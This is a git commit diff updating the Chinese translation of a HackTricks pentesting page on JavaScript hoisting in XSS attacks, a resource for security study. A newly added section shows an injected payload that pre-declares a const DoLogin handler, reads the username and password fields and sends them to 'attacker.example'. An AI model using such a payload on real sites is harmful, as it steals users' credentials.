Translated ['', 'src/pentesting-web/xss-cross-site-scripting/js-hoisting

This commit is contained in:
Translator 2025-08-28 19:23:45 +00:00
parent e8a91882f6
commit d6221932e0
2 changed files with 341 additions and 259 deletions

File diff suppressed because it is too large Load Diff

View File

@ -2,31 +2,31 @@
{{#include ../../banners/hacktricks-training.md}}
## 基本信息
## Basic Information
JavaScript语言中有一种机制称为**提升**它描述了变量、函数、类或导入的声明在代码执行之前概念上被提升到其作用域的顶部。这个过程是由JavaScript引擎自动执行的脚本会经过多次遍历。
JavaScript 语言中,存在一种称为 **Hoisting** 的机制在代码执行之前变量、函数、class 或 import 的声明在概念上会被提升到其作用域的顶部。这个过程由 JavaScript 引擎自动执行,引擎会对脚本进行多次遍历。
在第一次遍历中,引擎解析代码以检查语法错误,并将其转换为抽象语法树。这个阶段包括提升,这是一个将某些声明移动到执行上下文顶部的过程。如果解析阶段成功,表明没有语法错误,则脚本执行继续进行。
在第一次遍历中,引擎会解析代码以检查语法错误并将其转换为抽象语法树。此阶段包含 hoisting提升即将某些声明移动到执行上下文顶部的过程。如果解析阶段成功即没有语法错误脚本就会继续执行。
理解以下几点至关重要
重要的是要理解:
1. 脚本必须没有语法错误才能执行。语法规则必须严格遵守。
2. 代码在脚本中的位置会影响执行,因为提升,尽管执行的代码可能与其文本表示不同。
1. 脚本必须没有语法错误才能执行。必须严格遵守语法规则
2. 由于 hoisting代码在脚本中的位置会影响执行,尽管实际执行的代码可能与其文本表示不同。
#### 提升的类型
#### Types of Hoisting
根据MDN的信息JavaScript中有四种不同类型的提升
根据 MDN 的信息JavaScript 中有四种不同的 hoisting 类型:
1. **值提升**:允许在声明行之前在其作用域内使用变量的值。
2. **声明提升**:允许在声明之前引用变量而不会引发`ReferenceError`,但变量的值将是`undefined`
3. 这种类型由于变量在实际声明行之前的声明而改变其作用域内的行为
4. 声明的副作用在包含它的其余代码被评估之前发生。
1. **Value Hoisting**:允许在变量声明行之前在其作用域内使用变量的值。
2. **Declaration Hoisting**:允许在变量声明之前在其作用域内引用该变量而不会导致 `ReferenceError`,但变量的值将是 `undefined`
3. 这种类型会改变其作用域内的行为,因为变量在其实际声明行之前就被声明了
4. 声明的副作用会在包含它的其余代码被求值之前发生。
详细来说函数声明表现出类型1的提升行为。`var`关键字展示了类型2的行为。词法声明包括`let``const``class`显示了类型3的行为。最后`import`语句是独特的因为它们同时具有类型1和类型4的提升行为。
具体来说,函数声明表现出类型 1 的 hoisting 行为。`var` 关键字表现出类型 2 的行为。词法声明(包括 `let``const``class`)表现出类型 3 的行为。最后,`import` 语句比较特殊,它既具有类型 1也具有类型 4 的 hoisting 行为。
## 场景
## Scenarios
因此,如果您有场景可以**在未声明对象后注入JS代码**,您可以通过声明它来**修复语法**(这样您的代码会被执行而不是抛出错误):
因此,如果你有场景能够在**在未声明对象被使用后注入 JS 代码**,你可以通过声明它来**修复语法**(这样你的代码会被执行,而不是抛出错误):
```javascript
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
@ -127,11 +127,31 @@ alert(1) -
},
})
}
trigger()
```
## 参考文献
### 通过 `const` 锁定名称以抢占后续声明
如果你能在顶层 `function foo(){...}` 被解析之前执行代码,声明一个具有相同名字的词法绑定(例如 `const foo = ...`)会阻止随后函数声明重新绑定该标识符。 这可以在 RXSS 中被滥用,用来劫持页面后面定义的关键处理程序:
```javascript
// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}
// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding
```
注意事项
- 这依赖于执行顺序和全局(顶层)作用域。
- 如果你的 payload 在 `eval()` 内被执行,记住 `eval` 内的 `const/let` 是块级作用域,不会创建全局绑定。注入一个新的 `<script>` 元素,并在其中放入代码以建立真正的全局 `const`
## 参考
- [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
- [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
- [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
{{#include ../../banners/hacktricks-training.md}}